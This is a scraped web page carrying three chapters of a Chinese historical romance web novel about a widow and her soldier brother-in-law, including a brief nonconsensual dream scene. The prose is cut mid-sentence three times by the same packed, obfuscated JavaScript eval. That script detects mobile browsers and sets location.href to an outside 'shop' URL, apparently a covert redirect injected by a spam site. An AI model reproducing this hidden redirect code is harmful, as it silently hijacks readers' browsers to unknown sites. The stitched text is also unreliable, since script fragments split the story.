;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496505|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫瑜然只能在花园里的茶桌上坐下,喝口粗茶。 周枭站在竹轩居一角,大半身影隐在夜色中,遥望花园中的女人,看她喝他的茶,偶尔淡淡忧愁抬头看天。 她在思念二弟么…… 这个认知毫无预兆跳出来,周枭紧了紧下颌,收回视线,转身离去。 - 翌日。 浴房如火如荼搭建,卫瑜然跟着绿樱来到后厨。周枭的伙食有单独的厨房,伙夫也是。 器具全都齐全了,绿樱手把手教她如何做红豆糍糕,先把红豆蒸熟,绿樱怕她磕碰到自己,就把需要把蒸熟的红豆捣烂的活留给自己做。 剩下让二少奶奶负责过筛糯米粉、加糖拌匀,盛放到器皿里就行。 卫瑜然做的认真,袖口挽起,露出一截白皙手腕,绿樱在底下铺好粽叶,再倒进筛过的糯米粉,铺平。 “二少奶奶,你把捣烂的红豆糜一小块一小块放到上面。” 卫瑜然不知道可以用木匙挖出来,便用了手,捻出来一点放到器皿角落,又捻出来一小块红豆糜放到另一处。 绿樱用猪油涂抹在每块红豆糜上,再在上面铺上一层糯米粉,捋起每一片粽叶尾覆盖住,最后再盖上蒸笼的盖子。 当然,这么点是不够吃的,她们打算多做几笼。 红豆糯米和粽叶香味交融,随着木柴燃烧,飘到前堂。 周枭早上操练过一边兵后,回来吃早食,刚踏入前堂就闻到浓郁的香味,属下端上来的馒头炊饼都不香了。 心思一动,大步朝后厨走去,路上遇到他的伙夫,一个眼神叫退,径直往前走。 直到来到后厨,一打眼就看到里面正在做红豆糍糕的女人。 身上穿着周府二少奶奶的丝绸罗裙,一支珠钗插在发髻上,露出鹅颈,尤其低头捻红豆糜时,那鹅颈好似有有一股气韵,将她神清骨秀的姿态支了起来。 察觉有人在看她,卫瑜然忽地抬起头,冷不丁撞上站在门口前男人的目光。 “见过大哥。”她顿了顿,依然秉持着礼数。 “在做红豆糍糕?” 卫瑜然点了点头,“妾身做好了一笼,大哥可以吃了。” 周枭的目光并没有看向那笼蒸好的红豆糍糕,反而落在弟媳那双沾上斑驳红豆糜的素手,明明十指不沾阳春水,细若削葱,却因为给他做红豆糍糕,而沾上黏黏糊糊的红豆糜。 莫名的,一股想要舔干净的冲动冒了出来。 20. 第 20 章 清晨的元台新寨,浮云涌动,北方的秋是含有一股凉意的。 厨房里,蒸笼架子上腾起缭绕云雾,卫瑜然正低头细致地捋好粽尾。 在两个忙活的女人之间,周枭不动声色走到卫瑜然后方,打开了那一笼蒸好的红豆糍糕,粽香混合着红豆的清甜扑鼻而来。 绿樱见状,赶紧接过,“诶!周统制,先让奴婢切好,这么大一块,怎么吃呀。” 周枭便让她拿去一旁处理,目光不自觉落到那道纤细的身影上,这女人很沉默,不怎么爱讲话。 卫瑜然弄好粽叶后,盖上蒸笼盖,“绿樱,我弄好了,你待会帮我搬到蒸笼架上吧。” 绿樱正在将切好的红豆糍糕装盘,诶一声,“好。” “我来。” 卫瑜然正用手帕轻轻擦拭去手上的红豆糜,听到这话一怔,没想到有人应了她。看到来到跟前的男人,柳眉蹙起,想也没想欲夺过来。 “大哥,这种事不是你一个男人应当做的。” 君子远庖厨,这是她娘从小教她的,所以她嫁入周家,从未让周贯聿进过厨房,当然她也不爱伺候人,得亏周家家底尚可,请得起厨子丫鬟。 她当个管家的,动动嘴皮子打点这些,倒也不是什么难事。 “你说的什么话?” 周枭呵笑一声,对这种规矩不以为然,他刚从军入伍那年几乎事事亲力亲为,深入野岭蹲守土匪时,甚至没有生火煮饭的条件,仅凭一些粗粮度日,后来剿匪成功,他和一帮兄弟们在河边打野味庆功。 剖肉杀鱼,在烤烹上,他比她还要熟练。 “谁教你的?”他倒是好奇起来,又察觉到弟媳的手碰到自己的手,细腻温热的触感像玉一样,在他的大手衬托下显得格外娇细白皙。 卫瑜然感觉到自己好像被揶揄了,却又不知如何反驳,咬唇:“我娘。” 女子在家相夫教子,打理上下,让夫君一心考学,不是很正常么。 “你娘?”周枭皱眉,想到她娘就是卫家的妾室,不知道教了她女儿什么,“这话不对,以后别念叨了。” 卫瑜然哑口无言,看着他:“为何不对?” “因为我就不远庖厨。” “……” 周枭看她什么话都说不出来,像是失去了思考,莫名扬起嘴角,“顺手的事,大哥帮你。” 这锅如此大,又深,蒸笼架下还翻滚着热水,灶台也是烫的,万一伤到,岂不坏事么。 卫瑜然一不留神,就被他夺走了整个蒸笼,她只好站一旁担忧看着他把蒸笼放下去。 对于周枭来说,这就是一件再小不得的事,轻而易举就将蒸笼置放到正中央,连同其他几笼一块儿放下去,再盖上大锅盖。 一转身,便撞上弟媳忧心的目光,周枭顿了顿,卫瑜然也在这一刻慢慢抬眸,对上他的视线。 蒸笼云雾从旁腾升,男人高大的背后是耀眼的日光,薄薄投下一层光辉在他肩膀上。卫瑜然有些看不清他神色,只觉得他魁梧的身材遮挡住不少光,连带着厨房都灰暗下来。 换做之前,她是会打心底惧怕这样的身形压制,他太高壮了,又是武将,听说上战场打仗能徒手将人的头拧下来,原先她是不信的,直到那天宴席结束之后,她被他禁锢在怀里动弹不得,随时可能被欺负时,她才体会到体力的悬殊。 她对这样充满血腥的人始终是惧怕大过敬畏。 可如今,不知为何,她竟觉得有几分可靠。许是因为在自己孤弱无依时,他是唯一伸出来的援手,没有将她赶出元台新寨,没有怨她一介妇人千里迢迢过来给他带来不便。 甚至还给她打点好,建了新的沐房。 “二少奶奶,红豆糍糕好了,您要尝尝吗?”绿樱捧着一碟摆好的红豆糍糕过来,打破了两人之间的沉默。 卫瑜然看向端到面前的红豆糍糕,柔声道:“先给大哥吃吧。” 绿樱便转而端给周枭,见周统制接过,毫不客气拿起一块就吃。 “不错。” 她看到周统制是对着二少奶奶说的,这夸的不就是二少奶奶的手艺么,她目光在两人之间徘徊,露出心照不宣的笑意。 周枭拿着盘新鲜做好的红豆糍糕出去当早食,厨房里又重新亮堂起来,卫瑜然侧过身体,垂眸搅了搅剩下的糯米粉,察觉人离去,眼尾目光不经意侧瞥一眼。 只来得及看到那宽阔结实的背……如同一座苍黑似铁的山。 - 两日后,沐房建成,绿樱看着建好的沐房,心里可高兴了,总算不用提心吊胆怕被臭男人们看到。 “二少奶奶,今日我们不如出去逛逛吧?”她提议。 卫瑜然想到她们已经来到遥州好些天,一直待在元台新寨里,心底也是想出去透透气的。 “也好。” “那奴婢去跟周统制说一声。” “嗯。” 卫瑜然就在竹轩居喝着茶等候,约莫半盏茶的功夫,绿樱回来了。 她快步走到卫瑜然身边,说道:“二少奶奶,周统制同意我们出门了,不过得让一名侍卫在身边跟着。” “也好。”想来应该是考虑到安全的问题,才让他的属下跟在身边。 卫瑜然正要动身,不料绿樱又拦住她,从腰间掏出一两银钱,“二少奶奶,这是方才周统制吩咐奴婢,让奴婢转交给你的银钱。” “给我银钱做什么?” “周统制说是给二少奶奶买胭脂水粉金钗手镯的,说既然来到这边,不能让二少奶奶两手空空出去逛。” 卫瑜然一怔,定定看着那两银钱,刚过来就让大哥修建沐房,买些姑娘家用的东西,本就费了不少钱,如今出去逛逛集市,又要拿他的银钱。 卫瑜然心头多少有些顾虑,本就已经很麻烦大哥了,若是再拿钱,会不会给他留下不好的印象? 更何况,自己还要依靠他的营寨躲避一段时间。 “你且拿回去给他,我这还有银钱。” 大哥上个月才往周府寄回俸禄,虽说此次出来一路上耗费不少,也几乎花光了他给的银钱,但她现在不能不懂事。 这些钱绝对不能要。 绿樱见她态度坚决,便不再劝说,将银钱送回周统制那。 周枭听到那女人不要钱,还愣了一下,“她当真还有零钱?” 这一路上周波劳顿,耗费的钱财可不少。 绿樱点头:“二少奶奶是这样说的,定然不会骗周统制。” 周枭神色复杂,不再强求。 - 早食过后,侍卫牵来马车,卫瑜然和丫鬟一同离开营寨,前往集市。 元台新寨就建在遥州城外,路不算远,但也需要耗费一些时辰。 进了城内,集市相比锦州,倒是没多大差别,只是街上多一些买卖裘衣的商铺,也时常能看到穿狐裘、羔裘的百姓穿梭其中。 卫瑜然没看到有貂裘的商铺,差绿樱去问了下,才知道貂裘由貂皮制作而成,非常珍贵,价格也不菲,品相好的都要百两银打起,都是达官贵人才能用得起的尖货。 她想到亡夫说来到北方,让大哥给他们猎貂,做一身貂皮大氅,原来是这个意思。 卫瑜然听到价钱后,难免失落,这百两银钱对她来说无异于天价,根本买不起。 她们只能转而逛一些胭脂水粉铺。 马车在一家胭脂铺停下,卫瑜然在丫鬟搀扶下下了马车,许是因为从南方而来,纤秾合度,举手投足间透着股大家闺秀的恬适气韵,引得不少人看过来。 卫瑜然没有察觉,捏着手帕与丫鬟一同迈进铺子,打算看看有什么稀奇的胭脂。 而就这一举一动所露出来的侧脸,瑰姿艳逸,眉眼轮廓清隽绝俗,只一看就知道是美人。 掌柜看到来了位让人目不转睛的娘子,心下暗暗赞叹这娘子长得可真好看,杏面桃腮,在店里转悠观看陈列的胭脂时,身段姿态端得那叫一个雅,仪态万方却又不敢让人亵渎。 “这位娘子,想买什么胭脂?” “掌柜的,都有什么?” “这是紫矿胭脂,由紫胶虫的胶煮出红色膏液,再用毛絮浸染后风干制作而成,质地细腻,颜色艳而不俗,冬天还方便保存。” 掌柜接着又指着另一盒婉约典雅的妆盒道:“这是棉胭脂,由红蓝花的汁子制成,可用于敷面和点唇,这位娘子,我看你应当是从南方而来,不如试试我们这边紫矿胭脂?小巧易携带保存。” 卫瑜然被说得有些心动,紫矿胭脂确实是她第一次见,若是入了冬,胭脂不容易保存,她从锦州带来的胭脂会坏掉,用不了。 “那我便绵胭脂和紫矿胭脂各买一盒吧,劳烦掌柜了。” “好嘞,一共六贯钱。” 卫瑜然没想到这北方的胭脂竟然比南方的还要贵上一倍,她以为顶多不过一二贯钱,这个价格在锦州能买质地上乘的胭脂了。 她知道普通胭脂大多几十文到几百文,若是追求质地更细腻上乘,便要花上更多,她在锦州买的胭脂大多是一两贯钱,就已足够,既不算便宜,也不算奢华。 毕竟她只是当了周府二少奶奶,又不是当了妃子。 “这位娘子的胭脂,我来买了。” 蓦地,一道清朗的男声插进来,引得众人纷纷看过去。 卫瑜然还没反应过来,掌柜就已经收下了这名男子的五贯钱。 “钱少爷阔绰!我这就为这位娘子包起来。”掌柜转身忙活。 卫瑜然看向面前身穿宝蓝色锦缎袍子的男子,看着不像是为官的,倒像是家里从事经营的商户子弟。 钱骆通也在暗暗打量这位娘子,眼里闪过惊艳之色,词穷到他不知如何形容对方,但是并不妨碍他觉得这就是他命中注定的小娘子,正好家里也在催他成亲。 “小娘子,在下钱骆通,家中经营酒楼茶肆,整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546083|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个遥州最大的酒楼便是我钱家开的,小娘子能否赏面与在下吃个饭?” 许是司空见惯了这些追求手段,和郝才捷的无耻狎昵相比,钱骆通的直白落在卫瑜然眼里倒也不觉得出奇。 “钱少爷?” “唤我骆通也行。”钱骆通在小厮的簇拥下,咻地一下打开一把玳瑁折扇,自以为风度翩翩地摇了摇。 “妾身已经嫁人。” 果不其然,这话一出,面前的青年错愕在原地,卫瑜然不理会他心中所想,转而对掌柜说:“既然是这位钱少爷出钱买了胭脂,掌柜的就给他吧。” 正好,她可以借此脱身不必陷入买还是不买的纠结中。 “绿樱,咱们回去。” “好。” 卫瑜然带着丫鬟从身边擦肩而过,不曾想直接被抓住手腕,卫瑜然吓得不轻,下意识想甩开,却被拽得更紧。 “你放手。” 钱骆通看到佳人恼怒,赶忙松开,“不、我不是这个意思,小娘子,你别误会。” 卫瑜然已经恼火,钱骆通心里后悔不已,却还是想知道她是说真话还是假话骗自己。 “你说你已经嫁为人妇,这是真的还是骗我的?” 绿樱这时出声:“钱少爷说的什么话,咱二少奶奶怎会骗你。” 钱骆通诧异,他记得整个遥州没有那么年轻的二少奶奶啊,“二少奶奶?你们是?” “我们二少奶奶乃是遥州统制将军周枭的弟媳。” 这名头报出来,钱骆通这才知道这位是谁,居然是那位统制将军的弟媳,周枭这人他听长辈说过,手腕铁血,战功赫赫,早年间本可以凭借累累战功进爵为公,但因为朝中无人,被一些人忌惮,一直打压。 官家为了平衡双方,为周枭破例,虽然明面上是五品统制将军,但实际上他不受安抚使、制置使差遣或管辖,直接听命于朝廷。 若是发生重大战事,需要临时设置都统制,统领所有将兵,周枭往往是首要人选。 不过他听说周枭的二弟不是刚去世不久么。 “原来是周统制守寡的弟媳。”钱骆通恍然大悟,想起来了,他曾听说过周枭的弟媳美得很,在江南一带可出名,好像是叫卫瑜然。 如今站在他面前,还真的不负盛名。 就是可惜她嫁了人,不过他也不是完全没有机会。 卫瑜然听不出他话里的褒贬,在锦州别人听到她是寡妇,谣言就没断过,言语间还有轻视之意。哪怕搬出大哥的名头,人家敬重的也只是大哥,而不是她一介妇人。 “我们走。” 钱骆通赶忙拎上掌柜包好的胭脂水粉,上前递给她,“既然买都买了,我一个大男人也用不了,我看卫娘不如收下吧。” 卫瑜然抬头恼他一眼,“不必了。” 可钱骆通还是挡在她面前,周围不知不觉围上来看戏的人。 卫瑜然正想说些什么,忽然人群让出一条路。 为首的侍卫她认得,正是周枭的属下李勇,和几名带刀侍卫劈开一条路出来。 卫瑜然看向来人,有些诧异他怎么在这。 她唤了声大哥,快步走到周枭身后,却不知她走过来时,男人的目光在她和钱骆通之间来回扫了几眼。 “见过周统制,在下钱骆通,遥州钱家长子。” 俗话说民不与官斗,更何况他们还是经营的商户,钱骆通到底还是怯的,只是勉强维持体面。 然而对方只是盯了他片刻,连句话都懒得和他说,侧目看向身后的弟媳。 卫瑜然察觉他的目光,随后看向对面的钱骆通,谁都没有说话,似乎都在等她开口解释。 可她要怎么解释?出来买胭脂,看上的胭脂无缘无故被钱骆通买下了,还被用来献礼示好? 卫瑜然定然是不可能这样说的,斟酌措辞,“妾身出来买胭脂,遇上了钱少爷。” 钱骆通听到这话,自然知道她什么意思,周枭是她亡夫兄长,手心自然是向着他那死去的二弟。哪怕他再喜欢卫娘,也不能当着周枭的面公然追求他亡弟的媳妇,这不打他周家的脸么。 于是,他顺着她的话笑笑:“是是是,正是这样。” 一边将手里的胭脂盒往身后藏起来。 殊不知,这个举动恰好被周枭看到,脸色一沉,鹰眼不动声色扫过胭脂铺里陈列的胭脂水粉,紧了紧下颌,又望了眼身旁美貌的弟媳,扔下一句:“回去。” 卫瑜然不是没看到钱骆通藏胭脂盒的举动,事实上,她看得无比清楚,看到那一刻她就懊悔不已。 钱骆通这遮遮掩掩的举措反而将他们本来就没有什么的关系,“添油加火”地蒙上一层说不清道不明的暧昧。 流言也往往容易在这种情况下滋生,所以她从来不对别的男子有过多好脸色,能疏离尽量疏离,洁身自好。 她攥紧手帕,哑口无言,脸色微白,只能上马车跟着大哥回去。 21. 第 21 章 出了城门,周枭和几名侍卫骑上马,在卫瑜然的马车身旁骑着。 一路上,卫瑜然好几次想掀开车幔,看看那个男人的脸色到底如何,他到底有没有看到钱骆通的举动。 只有绿樱还傻傻不知情况,甚至觉得周枭的出现帮她们解了围,出了口气。 “二少奶奶,幸亏周统制来得及时,不然那个钱少爷不知要纠缠多久。” 竟然还抓二少奶奶的手,简直一登徒子! 过了会,绿樱没听到回应,不禁看过去,发现二少奶奶忧心忡忡,疑惑问道:“二少奶奶,你怎么了?” 卫瑜然心底叹了口气,“没什么。” 若真是解了围就好了,可解了围,却又无端让周枭怀疑上,还不如她自己解决。 更让人焦虑的是,她并不知周枭到底有没有看到钱骆通的举动,若是看到了,对自己有几分怀疑? 回到元台新寨,卫瑜然刚掀开车帷,就看到周枭从黑马上利落下来,一名侍卫牵走他的马,这人大步往操练场走去,看都没看自己一眼。 卫瑜然看着他离去的背影,心绪紊乱复杂,在绿樱扶持下下了马车,往竹轩居走去。 接下来几日,卫瑜然察觉到周枭对自己微妙的变化,刚来元台新寨那几天,周枭对自己就如同大哥,亲切豪迈,甚至还会对自己调侃他就不远庖厨,让自己别再记着娘教给她的训言。 如今她就是在寨里遇上了周枭,对方也只是看她一眼,继续忙自己的事情。 如果只是在周府,她定然不会这么烦扰,如果解释过一次,别人仍是不信自己,她绝不会再去解释第二次。 上次宴席一事,考虑到他要不久就要回军中,她解释与否,并不影响她的生活,就干脆没有解释。 这一次不一样,她如今住在周枭营寨里,又靠着他俸禄养活,还得躲避林成弘和郝才捷的追求。 周枭怀疑她,对她没有半点好处。 卫瑜然思来想去,决定做一份红豆糍糕试探口风。 没曾想,绿樱端过去后,又端了回来,说:“二少奶奶,周统制说他不爱吃,让奴婢端走。” 卫瑜然看着眼前辛苦做好的红豆糍糕出神,连娘亲都没有吃过她亲手做的。 “没事……”她不知是安慰自己,还是安慰绿樱,“咱们换别的,炖一盅汤吧,你去重新弄。” “好。” 绿樱下去,换上了一份炖汤,卫瑜然打算亲自端过去。 - 这些天,周枭不是在书房看兵法就是在操练场练兵,常常看不到人。 卫瑜然端着炖汤过去,得到通报后,她才能进去。 一进入书房,就看到那个男人坐在书桌前看兵书,卫瑜然将炖汤端到他面前。 “大哥,妾身看你近日事务繁忙,给你炖了一盅骨头汤补补,你要不要趁热尝尝?” 周枭的视线从书籍抬起,落到她手中的炖汤上,“端下去吧,我没什么胃口。” 卫瑜然哑口,见他又重新看起兵书,犹豫片刻,干脆问道:“大哥到底是没胃口,还是不待见妾身?” 这话说出来,面前的男人明显一顿。 她就知道他在那件事上仍然保留怀疑,许是碍于身份,才没有当面质问自己。 “实在是没胃口,端下去吧。” 卫瑜然见他仍旧一副不想谈论的态度,转而改口说:“既然大哥没胃口,那妾身有个请求。” “说。” “恳求大哥让妾身明日出去一趟。” “出去做什么?” “买些胭脂。” 这话一落,卫瑜然看到周枭手里的书被握紧,书房里的气氛变得安静。 过了片刻,周枭才说:“我让人去给你买。” “可妾身就想出去一趟,顺便散散心。”卫瑜然定定看着他,有些自嘲,“大哥为何不让妾身出去?” 周枭放下书,站起欲出门,“外面危险。” 卫瑜然站到他面前,势必要他给个说法,“大哥到底是担心我遇到危险,还是怀疑妾身在外面勾搭男子?” 周枭停下,目光生冷盯着她。 卫瑜然目光触及他眼里的不信任,胸口无端难受起来,她硬生生压下去,颤着眼睫继续反问:“那日在胭脂铺发生的事,大哥是不是怀疑妾身和那位钱少爷有瓜葛?” “就像当初大哥怀疑妾身勾引林大人一样,故意在胭脂铺勾引钱少爷?大哥心里是不是这样想的?” 勾引一词莫名刺耳,周枭静静看着眼前端方清雅的女人,她身上确实蕴养着一股诱人的神韵,从容貌到身段,再到那秀口吐出的腔调,似有似无的馨香让无数男子为之着迷。 既然话说了出来,那他便与她好好说道说道。 “你那日为何要隐瞒钱骆通送你胭脂盒?” 那日钱骆通在他面前藏起胭脂盒,他一个大男人怎会用胭脂盒,那只能是给卫瑜然买的。可那日卫瑜然却只是说出来买胭脂遇上了钱骆通。 这女人刚到遥州没多久,人生地不熟,却偏偏为了一个刚认识的钱骆通,在兄长面前隐瞒陌生男子给她买胭脂盒一事。 怎么不叫人气愤,怎么不叫人怀疑多想,更何况她还有前科。 “妾身若是解释了,大哥难道会相信吗?” 卫瑜然难就难受在这里,他从来就没有相信过自己,她为何要在一个不相信自己的男人面前,一次又一次苦巴巴解释她和别人没有关系。 “大哥怕不是忘了,上次宴席,我与林大人明明没有任何关系,却还是因为妾身不小心摔到林大人怀里,而被大哥怀疑想勾引林大人。” 卫瑜然一想到这件事,眼眶不自觉发酸,前有狼后有虎,偏偏唯一的自家人还怀疑自己,个中苦楚和心酸只有她自己知道。 每每梦到郝才捷和林成弘对自己的羞辱,她总是惊出一身冷汗,犹如溺水的人,陷入窒息当中。 “不知大哥还记不记得,那日守灵,郝才捷冲进来羞辱妾身,让妾身当他的妾,是大哥替妾身出头……” 女人眸里不知不觉蓄起了泪水,“妾身原以为大哥是值得信任可靠的男人,现在看来,是妾身想多了,这世上唯一会相信妾身的男人,只有妾身的夫君。” 周枭听出她话语里对自己的失望,对夫君的信任,胸口无端升起一股烦闷,“既然如此深爱二弟,你当初又为何进我屋里?与我翻云覆雨?” 卫瑜然冷不丁听到他提起那件事,还是如此直白,脸色霎时苍白,急得她顾不得失态,“妾身没有!妾身根本就不喜欢大哥,怎么会故意勾引大哥?!” 这话一落下,她的手腕猛然被一只大手扣紧,她吓得不轻,甚至连哭都忘了反应,只错愕看着眼前阴沉的男人。 不明白她只是澄清而已,为什么大哥脸色如此难看。 “那春采图呢,为何那种□□之物会在你马车里?” 卫瑜然忽地哑口无言,她也不知为何会在她马车里,难道这就代表那本书是她的么? “既然大哥一直怀疑妾身放荡形骸,又何必让妾身住下来。”卫瑜然泪眼婆娑倔强凝望着眼前的男人,看他抿唇不语,神色难辨盯着自己,这一刻她难掩失望,终究是不再对这个男人抱有希望。 垂下眼眸,泪珠滚烫划过脸颊。 “不如让妾身搬出去罢,就不碍大哥的眼了。” 周枭欲说些什么。 她努力挣开他的桎梏,从他身边擦肩而过时,忽然想起什么,身形一顿,朱唇轻启:“那件事,妾身希望大哥可以忘了,不要再想起,这是对夫君的不敬和亵渎,对妾身来说,也并非什么好的回忆。” “卫瑜然!” 一道低沉沙哑的嗓音从身后传来,卫瑜然刚一转身,就被男人抵在柱子上,高大结实的身躯几乎将她整个人困在柱子和他胸膛之间。 骤然逼近的气息侵入她鼻尖,让她蓦然发颤。这样的逼近让她想起曾经做过的一个梦。 梦中,自己在灵堂上为夫君守灵时,大哥身披盔甲从群山叠嶂中驾着一匹黑马,疾驰而来,利落翻身下马,直奔灵堂。 却不是为弟弟吊唁,而是直奔她而来,裹挟着浓郁的肃杀之气。 将她抵在墙上,毫不犹豫进入,丝毫不顾她的抵触和提醒,亡夫的遗体就在她面前,而她却毫无力气反抗,双手只能无力地抵在冰凉的金鳞甲上,承受他的粗鲁对待。 现下的情形和那个梦如此相似,一股害怕自内心深处涌上来。 “大哥……”卫瑜然双手抵住他胸膛,害怕地望进他漆黑如渊的双眸。 “我是你弟媳……” 周枭看着她苍白的脸,这一声提醒把他神智拉回来,隐忍着想要欺负她的心思。 他也不知为什么自己会变成这样,在听到她说那对她来说并不是什么好的回忆时,一股莫名的怒火瞬间在胸腔爆发,几欲夺去他的理智。 周枭将人放下,紧了紧下颌,想到她说曾经觉得自己值得信任可靠,却在一次次怀疑下对自己失望。 这也间接导致了她这次遇到钱骆通一事,下意识想瞒着自己,不敢对兄长袒露心声。 “这次的事情,我就不再计较,至于郝才捷、林成弘以及那本春采图,大哥也不会再以此来怀疑你。” 卫瑜然站稳,不明白为什么他突然变了态度,“为什么?” “没有为什么。”周枭目光扫过她莹白锁骨与鹅颈,偏过脸,“以后遇到事情,可以和大哥说,大哥会相信你。” “大哥还有事,你先回去休息吧。” 话落,周枭就当着卫瑜然的面,径直离开,留她一人在书房。 卫瑜然到现在都不知是什么让这个男人的态度,一下子发生翻天覆地的变化。 适才不还怀疑自己么? 卫瑜然扫了一眼那空无一人的书桌,上前将那份炖汤端走,回到住处,绿樱好奇凑上来问:“二少奶奶,周统制还是不喜欢喝?” “不是,他没胃口。”卫瑜然思绪紊乱,“你拿下去处理吧。” 待绿樱走后,卫瑜然惊魂未定坐到椅子上,陷入深思,在某一个反应过来,应当是自己说了曾经以为他值得信任可靠,所以大哥才会扭转态度,想要自己重新信任他。 应该是这样吧…… 卫瑜然只能想到这个原因,豁然开朗,不管如何,起码他不会再用郝才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547345|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捷、林成弘和春采图做文章,以此来怀疑自己放浪形骸。 卫瑜然给自己倒了杯茶,压压惊,热茶入喉,稍一独处脑海里便不受控想起他说起的翻云覆雨。 她没想到将近两个月过去,大哥竟然还记得,这么令人耻辱蒙羞的画面,不应当早早忘记么。 再不济也应当抛诸脑后,难道这么多年来那个男人从未尝过女人的滋味么? 这个想法刚冒出,卫瑜然就否认了,从军之人,血气方刚,怎么可能会没尝过女人的滋味,怕是青楼都去了无数次吧。 想来想去,卫瑜然最后只能归因于他们身份的背德,才让大哥记得那么久。 - 主簿潘旗将议事堂的档案整理归案,路过一沐房,冷不丁撞见周统制从里面出来。 浑身散发着冷水澡冲过之后的凉意。 潘旗抬头望了望并不火辣的悬日,好奇起来,“周统制,大白天怎么洗澡去了?” 周枭整整冲了半个时辰的冷水澡才出来,一出来就被人揶揄,心情不快,语气自然也不那么悦耳。 “关你何事。” 潘旗一听到周枭语气,就知道自己撞火.药.口上了,自讨不快。 望着周统制离去的背影,他继续往记室走去,打算整理今日的军务议事录。 周枭回到书房,刚坐下打算继续看兵法,看着看着,忽然望向书桌旁。 本来应该放置一碗炖汤的角落,此刻却空空如也。 想也不用想,定是被她端走了。 周枭收回视线,继续翻阅兵法,可翻着翻着,就停下不动了,眼前浮现的是一个时辰前弟媳来找自己的一幕。 在说到为何要隐瞒钱骆通为她买胭脂盒时,那泪水涟涟的委屈模样,不似作假。 突然心烦意乱起来,周枭放下兵书,喊来李勇,差遣他去一趟集市,从胭脂铺里买回那份胭脂。 李勇虽然不明白,但他会照做,“是,周统制。” 就在他要走时,周枭又把人喊住,“你再去替我打听一下,那日胭脂铺里,二少奶奶到底发生了什么。” “是。” 约莫两个时辰后,李勇拿着新买的紫矿胭脂和绵胭脂回来,放到周枭桌上。 周枭不懂胭脂的种类,“这就是二少奶奶那日想买的胭脂?” 李勇:“正是,掌柜说二少奶奶那日正好看上了这两份胭脂,一份紫矿胭脂,一份绵胭脂,不过二少奶奶在付钱时稍有踌躇。” 周枭:“多少钱?” 李勇:“一共五贯钱。” 周枭沉默下来,这五贯钱对他来说倒是不多,对那个女人来说也许是天价。 李勇:“据掌柜说,正是二少奶奶踌躇之际,才让那钱骆通趁机买下,借花献佛,二少奶奶不领情,钱骆通还拉了二少奶奶的手,企图将胭脂强行送出去。” “当真?” “千真万确。”李勇能拍着胸脯保证,这是他提着刀要求掌柜如实说来。 “下去吧。” 周枭挥挥手,让人下去,这事确实是他冤枉了弟媳,也怪不得她不再信任自己。 过了会儿,周枭站起来,拎上这两份胭脂前去竹轩居,却又在门口停下。 绿樱从厨房端着碗莲子羹,从他面前经过,见到他,弓腰喊了声周统制。 周枭招手让她过来。 绿樱不得已,只能端着托盘过去,“周统制,您找奴婢有什么吩咐吗?” “你替我把这两份胭脂给二少奶奶。” 绿樱啊了一声,等她反应过来,托盘上已经被人放置了两份胭脂,她没看错的话,这两份胭脂,正是二少奶奶当初看上的紫矿胭脂和绵胭脂。 难不成,周统制今儿给二少奶奶买了回来? “还不快去?” “是,奴婢这就去。” 绿樱心里忍不住为二少奶奶夸赞,一出马,这些天的气氛就全变了,甚至还取回了两份胭脂。 施施然端着托盘前往竹轩居,二少奶奶正坐在花园的石凳上看信。 “二少奶奶,莲子羹来了。”她放到桌上,端到二少奶奶面前,“方才奴婢遇到周统制了。” 卫瑜然手中翻阅信件的动作停滞了下,只淡淡嗯了一声。 “周统制让奴婢带两样东西给二少奶奶。” 卫瑜然这才从信件中抬起头来,看向绿樱手中的两个胭脂盒。 “这是那日二少奶奶看上的紫矿胭脂和绵胭脂,周统制说让奴婢转交给你。” 绿樱放在一旁,“奴婢先下去了。” 人走后,卫瑜然多次看向那两盒胭脂,想起在书房和那个男人的对峙与质问。 明明那么剑拔弩张,到最后却神奇地转向她料想不到的方向。 也许……卫瑜然垂眸扫过手中的信件,夫君的字迹映入眼帘,也许周枭是看在夫君的面子上才选择妥协。 毕竟夫君是他亲弟弟。哪怕弟媳再有错,他也不会不管不顾,甚至愿意重新给予信任,不再借着以前的纠葛怀疑人。 想通后,卫瑜然叹了口气,她能在营寨里安身立命,受到周枭的庇护,看来终究还是沾了夫君的光。 22. 第 22 章 天黑得早,暮色蔼蔼。 绿樱刚忙活完二少奶奶沐浴更衣的事,转身遇到李勇,李勇跟她说:“明日周统制旬休,去一趟榷场,你替我问问二少奶奶愿不愿意和周统制一同过去。” “什么是榷场?”绿樱疑问。 “榷场是我朝与魏国在边境要地设立的贸易集市,可以买到别国稀奇古怪的玩意儿,二少奶奶若是有兴致,明日辰时出发。” 绿樱感觉十分稀奇,道了声好,匆匆回到住处,将此事告诉了卫瑜然。 